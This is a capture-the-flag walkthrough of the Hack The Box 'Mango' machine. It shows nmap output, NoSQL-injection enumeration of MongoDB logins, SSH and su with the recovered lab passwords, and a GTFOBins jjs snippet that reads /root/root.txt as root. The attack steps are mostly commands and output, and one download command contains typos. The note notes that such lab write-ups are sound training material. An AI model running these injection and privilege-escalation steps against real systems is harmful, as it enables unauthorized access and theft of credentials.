HACK THE BOX MANGO NOTES

STEP 0 - SETTING UP THE LAB

- Connect to hack the box with openvpn credentials
- Spinup mango box

```
#test the connection
ping 10.10.10.162

#create a working directory "mango"
mkdir mango
cd mango
```

STEP 1 - ENUMERATION

- Using nmap to look for open ports, services assciated and software versions

```
nmap -A -v -Pn 10.10.10.162 > netsweep.txt

cat netsweep.txt

#OUTPUT
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 a8:8f:d9:6f:a6:e4:ee:56:e3:ef:54:54:6d:56:0c:f5 (RSA)
|   256 6a:1c:ba:89:1e:b0:57:2f:fe:63:e1:61:72:89:b4:cf (ECDSA)
|_  256 90:70:fb:6f:38:ae:dc:3b:0b:31:68:64:b0:4e:7d:c9 (ED25519)
80/tcp  open  http     Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 403 Forbidden
443/tcp open  ssl/http Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Mango | Search Base
| ssl-cert: Subject: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd./stateOrProvinceName=None/co
| Issuer: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd./stateOrProvinceName=None/countryName=I
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2019-09-27T14:21:19
| Not valid after:  2020-09-26T14:21:19
| MD5:   b797 d14d 485f eac3 5cc6 2fed bb7a 2ce6
|_SHA-1: b329 9eca 2892 af1b 5895 053b f30e 861f 1c03 db95
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_  http/1.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

- We found a possible domain name **staging-order.mango.htb**
- add domain name to the hosts

```
sudo nano /etc/hosts

#add the LIne
10.10.10.162    staging-order.mango.htb

#save (ctrl+o) and exit (ctrl +x)
```

- on the browser go to **http://staging-order.mango.htb**
- found a login page
- try default credentials -***(DID NOT WORK)***
- domain name is a clue for the database they might use - MongoDB is a possibility
- let's find an exploit and try it

STEP 2 - USING Nosql-MongoDB-injection-username-password-enumeration

- Download the script - **https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration**

- Run the script

```
#GO FOR USERS
#-----
python nosqli-user-pass-enum.py -u http://staging-order.mango.htb/ -up username -pp password -ep username -op login

#FOUND TWO USERS
admin
mango

#GO FOR PASSWORDS
#---------
python nosqli-user-pass-enum.py -u http://staging-order.mango.htb/ -up username -pp password -ep password -op login

#FOUND TWO PASSWORDS
"h3mXK8RhU-f{]f5H"
"t9KcS3>!0B#2"
```

`

STEP 3 - USING SSH TO GAIN BOX ACCESS

- As we have the users credentials, let's use SSH and connect to the box

```
ssh mango@10.10.10.162
#use the first password
"h3mXK8RhU-f{]f5H" #without the double quotes

#success - logged as mango
pwd #/home/mango
#no user file found
cd /home/admin
ls -la

#OUTPUT
(...)
user.txt
cat user.txt
#ACCESS DENIED -- WE NEED TO BE ADMIN TO OPEN THE FILE
```

`

STEP 4 - LOOKING FOR USER.TXT FLAG

- Let's become admin, we have a admin user and we have a password to test

```
su admin
#PASSWORD
"t9KcS3>!0B#2" #without the double quoutes

#success - logged as admin
whoami
#admin
ls -la
#OUTPUT
(...)
user.txt
cat user.txt
#GET THE FLAG AND SUBMIT IT
```

STEP 5 - PRIVILEGE ESCALATION

- Now we need to become root in order to read the root.txt flag
- Let's use a tool to find vulnerabilities on the target machine
- Download LinEnum.sh - https://github.com/rebootuser/LinEnum
- Open a terminal window
- Create a python server

```
sudo python -m SimpleHTTPServer 80
```

- open a new terminal window
- upload LinEnum,.sh to the target machine

```
wget http:///10.10.10.162/LinEnum.sy
```

- Run LinEnum.sh on target machine to find vulnerabilities

```
chmod 777 LinEnum.sy
./LinEnum.sy

#OUTPUT
(...)
[+] Possibly interesting SGID files:
-rwsr-sr-- 1 root admin 10352 Jul 18  2019 /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
```

- The results show me that we have privileges to **run /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs**.
- After a quick search on Google, we found on **https://gtfobins.github.io/gtfobins/jjs/** the solution to get root.
- we used the **java.io.FileReader** to read the root.txt file. Invoked this commands:

GTFOBins

- Search for jjs - https://gtfobins.github.io/gtfobins/jjs/

FILE READ

- Copy these commands to a file text, because we have to run it, one at a time, and it's easier to copy it

```
echo var BufferedReader = Java.type("java.io.BufferedReader");
var FileReader = Java.type("java.io.FileReader");
var br = new BufferedReader(new FileReader("file_to_read"));
while ((line = br.readLine()) != null) { print(line); } | jjs
```

- On the target machine insert one command at a time
- Write or paste the command

```
mango@mango:/home/mango$ pwd
/home/mango
$ echo 'var BufferedReader = Java.type("java.io.BufferedReader");
> var FileReader = Java.type("java.io.FileReader");
> var br = new BufferedReader(new FileReader("/root/root.txt"));
> while ((line = br.readLine()) != null) { print(line); }' | jjs

//OUTPUT
Warning: The jjs tool is planned to be removed from a future JDK release
jjs> var BufferedReader = Java.type("java.io.BufferedReader");
jjs> var FileReader = Java.type("java.io.FileReader");
jjs> var br = new BufferedReader(new FileReader("/root/root.txt"));
jjs> while ((line = br.readLine()) != null) { print(line); }
8a8ef79a7a2fbb01ea81688424e9ab15 //ROOT FLAG
jjs> $
```

DONE MANGO ROOTED :)